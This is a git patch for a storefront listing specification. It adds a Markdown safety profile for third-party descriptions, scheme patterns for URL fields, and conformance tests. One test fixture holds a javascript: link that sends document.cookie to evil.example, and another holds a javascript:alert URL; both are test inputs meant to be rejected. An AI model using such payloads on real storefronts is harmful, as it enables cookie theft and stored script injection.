From 8489c449cb4f98327015400f48a04a658b82b41b Mon Sep 17 00:00:00 2001 From: Justin Merrell Date: Mon, 17 Aug 2026 01:51:59 +0000 Subject: [PATCH 1/3] docs: record the trust boundary around a listing description MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `spec.description` is third-party Markdown rendered by the storefront in a first-party origin, bounded only at 20 000 characters and constrained by nothing. CommonMark permits raw HTML by design, so a conforming listing may contain ` +
+ ``` + + Set `` to your instance, then see the + [configuration guide](https://www.postgresql.org/docs/) or jump to + [#defaults](#defaults) below. diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json new file mode 100644 index 0000000..bf9a771 --- /dev/null +++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-009-description-html-in-code-fence", + "phase": "semantic", + "expected": "pass", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "HTML inside a code span or fenced code block is not raw HTML, and is accepted." +} diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml new file mode 100644 index 0000000..0a6bff8 --- /dev/null +++ b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml @@ -0,0 +1,24 @@ +# Forbidding raw HTML alone would not close the surface: a `javascript:` URL is +# script execution wearing an ordinary Markdown link, and the document holding +# one contains no HTML at all. +# +# The link is spelled as a reference definition rather than inline, because the +# rule is about the destination a link resolves to and not about the syntax that +# spells it. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + description: | + ## Getting started + + [Run the setup wizard][wizard] to configure your first database. + + [wizard]: javascript:fetch('https://evil.example/'+document.cookie) diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json new file mode 100644 index 0000000..3345e0e --- /dev/null +++ b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_DISALLOWED_SCHEME", + "path": "/spec/description" + } +] diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json new file mode 100644 index 0000000..57a8006 --- /dev/null +++ b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-010-description-javascript-url", + "phase": "semantic", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "A description link using a scheme outside the permitted set is rejected." +} diff --git a/conformance/listing/v1/semantic/011-description-remote-image/case.yaml b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml new file mode 100644 index 0000000..4f62872 --- /dev/null +++ b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml @@ -0,0 +1,26 @@ +# A remote image executes nothing. It discloses every storefront viewer's IP +# address and user agent to a host the listing author chose, on every page view, +# with no interaction — a per-view beacon pointed at people who have no +# relationship with the author. +# +# §5 already fixed `media/` as the one directory an item ships assets from, so a +# description image is held to the same grammar and a remote one is unspellable +# rather than merely discouraged. The badge below is the shape this rejects in +# practice, and rejecting it is the deliberate cost. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + description: | + ## PostgreSQL + + ![build status](https://img.shields.io/badge/build-passing-green.svg) + + A relational database. diff --git a/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json new file mode 100644 index 0000000..22f9060 --- /dev/null +++ b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_IMAGE_NOT_LOCAL", + "path": "/spec/description" + } +] diff --git a/conformance/listing/v1/semantic/011-description-remote-image/metadata.json b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json new file mode 100644 index 0000000..0f56547 --- /dev/null +++ b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-011-description-remote-image", + "phase": "semantic", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "A description image that is not an item media path is rejected." +} diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml new file mode 100644 index 0000000..443581a --- /dev/null +++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml @@ -0,0 +1,17 @@ +# `javascript:` in `homepageUrl` is the same stored injection as `javascript:` +# in a description link, and a storefront renders both. The scheme rule is one +# rule with two placements: a `pattern` here, because a scalar field is +# something JSON Schema can decide offline, and a semantic check inside the +# description, because no pattern can parse Markdown. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + homepageUrl: javascript:alert(document.domain) diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json new file mode 100644 index 0000000..dcf9885 --- /dev/null +++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_INVALID_VALUE", + "path": "/spec/homepageUrl" + } +] diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json new file mode 100644 index 0000000..e9b2e2b --- /dev/null +++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "structural-011-url-field-disallowed-scheme", + "phase": "structural", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#presentation", + "summary": "A scalar URL field using a scheme outside the permitted set is rejected." +} diff --git a/conformance/listing/v1/structural/012-support-url-mailto/case.yaml b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml new file mode 100644 index 0000000..c01e98b --- /dev/null +++ b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml @@ -0,0 +1,19 @@ +# The other half of structural-011. The scheme set is three terms, not one, and +# each is here for a reason worth pinning: `mailto:` because a support address +# is a plausible value for supportUrl, and `http` because rejecting it would +# reject projects whose homepage is not yet served over TLS — a judgement about +# someone else's infrastructure rather than about this document. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + homepageUrl: https://www.postgresql.org + sourceRepoUrl: http://git.postgresql.org/git/postgresql.git + supportUrl: mailto:support@example.com diff --git a/conformance/listing/v1/structural/012-support-url-mailto/metadata.json b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json new file mode 100644 index 0000000..30468ea --- /dev/null +++ b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "structural-012-support-url-mailto", + "phase": "structural", + "expected": "pass", + "clause": "specifications/listing/v1/spec.md#presentation", + "summary": "The permitted scheme set includes mailto, and http alongside https." +} diff --git a/specifications/listing/v1/examples/full.yaml b/specifications/listing/v1/examples/full.yaml index 916b7d9..064453f 100644 --- a/specifications/listing/v1/examples/full.yaml +++ b/specifications/listing/v1/examples/full.yaml @@ -1,7 +1,9 @@ # yaml-language-server: $schema=https://schemas.musher.dev/listing/v1/listing.schema.json # -# A storefront entry using the full descriptive surface. Media paths are -# relative to the listing document. +# A storefront entry using the full descriptive surface. Media paths begin at +# `media/` and resolve inside the item root (§5). The description stays inside +# §4.1's profile: no raw HTML, links on permitted schemes, and an image that is +# an item media path rather than a remote one. specVersion: v1 kind: LISTING metadata: @@ -29,6 +31,11 @@ spec: A single container of `postgres:17.10-alpine` on port 5432 as a private TCP endpoint. You supply the password at deploy time; a 10 GiB volume keeps the data directory across restarts. + + ![The connection details panel](media/overview.png) + + Read the [upstream documentation](https://www.postgresql.org/docs/), or + write to if something here is wrong. category: INFRASTRUCTURE lifecycleStage: STABLE tags: diff --git a/specifications/listing/v1/schemas/dist/listing.schema.json b/specifications/listing/v1/schemas/dist/listing.schema.json index 099c137..9e7d074 100644 --- a/specifications/listing/v1/schemas/dist/listing.schema.json +++ b/specifications/listing/v1/schemas/dist/listing.schema.json @@ -126,10 +126,12 @@ "type": "string" }, "homepageUrl": { - "description": "Project homepage URL, or null when none.", + "description": "Project homepage URL, or null when none. Must use the https, http, or mailto scheme.", "anyOf": [ { + "$comment": "Anchored and lookahead-free, so it compiles under RE2 as well as ECMA-262 and cannot be driven to backtrack. The scheme set is spec.md §4.1's, applied to a field that carries a URL directly rather than inside Markdown.", "maxLength": 2048, + "pattern": "^(?:https?://|mailto:)[^\\s]+$", "type": "string" }, { @@ -192,10 +194,12 @@ "type": "array" }, "sourceRepoUrl": { - "description": "Source repository URL, or null when none.", + "description": "Source repository URL, or null when none. Must use the https, http, or mailto scheme.", "anyOf": [ { + "$comment": "The same grammar homepageUrl carries; see the note there.", "maxLength": 2048, + "pattern": "^(?:https?://|mailto:)[^\\s]+$", "type": "string" }, { @@ -211,10 +215,12 @@ "type": "string" }, "supportUrl": { - "description": "Support or documentation URL, or null when none.", + "description": "Support or documentation URL, or null when none. Must use the https, http, or mailto scheme.", "anyOf": [ { + "$comment": "The same grammar homepageUrl carries; see the note there. mailto: is in the set for this field in particular — a support address is a plausible value.", "maxLength": 2048, + "pattern": "^(?:https?://|mailto:)[^\\s]+$", "type": "string" }, { diff --git a/specifications/listing/v1/schemas/src/listing.schema.json b/specifications/listing/v1/schemas/src/listing.schema.json index 47f1af1..c8ddd96 100644 --- a/specifications/listing/v1/schemas/src/listing.schema.json +++ b/specifications/listing/v1/schemas/src/listing.schema.json @@ -128,7 +128,9 @@ "homepageUrl": { "anyOf": [ { + "$comment": "Anchored and lookahead-free, so it compiles under RE2 as well as ECMA-262 and cannot be driven to backtrack. The scheme set is spec.md §4.1's, applied to a field that carries a URL directly rather than inside Markdown.", "maxLength": 2048, + "pattern": "^(?:https?://|mailto:)[^\\s]+$", "type": "string" }, { @@ -136,7 +138,7 @@ } ], "default": null, - "description": "Project homepage URL, or null when none." + "description": "Project homepage URL, or null when none. Must use the https, http, or mailto scheme." }, "icon": { "anyOf": [ @@ -194,7 +196,9 @@ "sourceRepoUrl": { "anyOf": [ { + "$comment": "The same grammar homepageUrl carries; see the note there.", "maxLength": 2048, + "pattern": "^(?:https?://|mailto:)[^\\s]+$", "type": "string" }, { @@ -202,7 +206,7 @@ } ], "default": null, - "description": "Source repository URL, or null when none." + "description": "Source repository URL, or null when none. Must use the https, http, or mailto scheme." }, "summary": { "description": "One-line storefront tagline summarising the listing.", @@ -213,7 +217,9 @@ "supportUrl": { "anyOf": [ { + "$comment": "The same grammar homepageUrl carries; see the note there. mailto: is in the set for this field in particular — a support address is a plausible value.", "maxLength": 2048, + "pattern": "^(?:https?://|mailto:)[^\\s]+$", "type": "string" }, { @@ -221,7 +227,7 @@ } ], "default": null, - "description": "Support or documentation URL, or null when none." + "description": "Support or documentation URL, or null when none. Must use the https, http, or mailto scheme." }, "tags": { "description": "Free-form discovery tags applied to the listing.", diff --git a/specifications/listing/v1/spec.md b/specifications/listing/v1/spec.md index d18e2f7..704e1fe 100644 --- a/specifications/listing/v1/spec.md +++ b/specifications/listing/v1/spec.md @@ -130,14 +130,15 @@ inside a root it has not been given. Markdown. It is a one-line tagline; rendering it as Markdown turns an underscore in a product name into emphasis and an asterisk into a bullet. -`description` is Markdown, at most 20 000 characters. +`description` is Markdown, at most 20 000 characters, and is constrained to the +profile in [§4.1](#description-markdown). -> **TODO** — The permitted Markdown subset for `description`. This one is a -> security question rather than an undocumented behaviour: neither this -> specification nor any implementation constrains the subset today, and a -> storefront rendering untrusted Markdown from a third-party listing is an -> injection surface. Raw embedded HTML, `javascript:` URLs, and remote image -> references are the three that need deciding. +`homepageUrl`, `sourceRepoUrl`, and `supportUrl` MUST use the `https`, `http`, +or `mailto` scheme. A value that does not is rejected in the `structural` phase +with `ERR_INVALID_VALUE`. The rule is [§4.1](#description-markdown)'s, applied +to the fields that carry a URL directly rather than inside Markdown — +`javascript:` in `homepageUrl` is the same stored injection as `javascript:` in +a description link, and a storefront renders both. > **TODO** — `category` and `lifecycleStage` are controlled vocabularies. State > the governance rule for adding a term — this is the field most likely to need @@ -152,6 +153,61 @@ not an authoring one. A document that declares it is rejected in the accepting it silently would let an author believe they had promoted their own listing. +### 4.1 The description Markdown profile + +`description` is **[CommonMark 0.31.2](https://spec.commonmark.org/0.31.2/)**, +narrowed by the three rules below. Naming a grammar and a version is deliberate: +"Markdown" is not one language, and a rule written against it is a rule each +implementation resolves against whatever parser it happened to have. + +A listing is authored by a third party and rendered by the storefront, so +`description` is untrusted content displayed in a first-party origin. These are +the rules that make it safe to render. The reasoning is recorded in +[ADR 0004](../../../docs/adr/0004-listing-description-trust-boundary.md). + +| Rule | Diagnostic | +|---|---| +| A description MUST NOT contain raw HTML — an *HTML block* ([CommonMark §4.6](https://spec.commonmark.org/0.31.2/#html-blocks)) or *raw HTML* inline ([§6.6](https://spec.commonmark.org/0.31.2/#raw-html)). | `ERR_RAW_HTML` | +| A link destination MUST use the `https`, `http`, or `mailto` scheme, or be a fragment beginning `#`. | `ERR_DISALLOWED_SCHEME` | +| An image destination MUST be a media path as defined by [§5](#media). | `ERR_IMAGE_NOT_LOCAL` | + +All three are `semantic`. Finding a link destination means parsing the document, +which no JSON Schema pattern can do — this is the same line +[§5](#media) draws between the media grammar it carries as a `pattern` and the +three rules it cannot. + +**A code fence is not raw HTML.** CommonMark tokenises a code span and a fenced +code block as their own constructs, so a listing MAY document `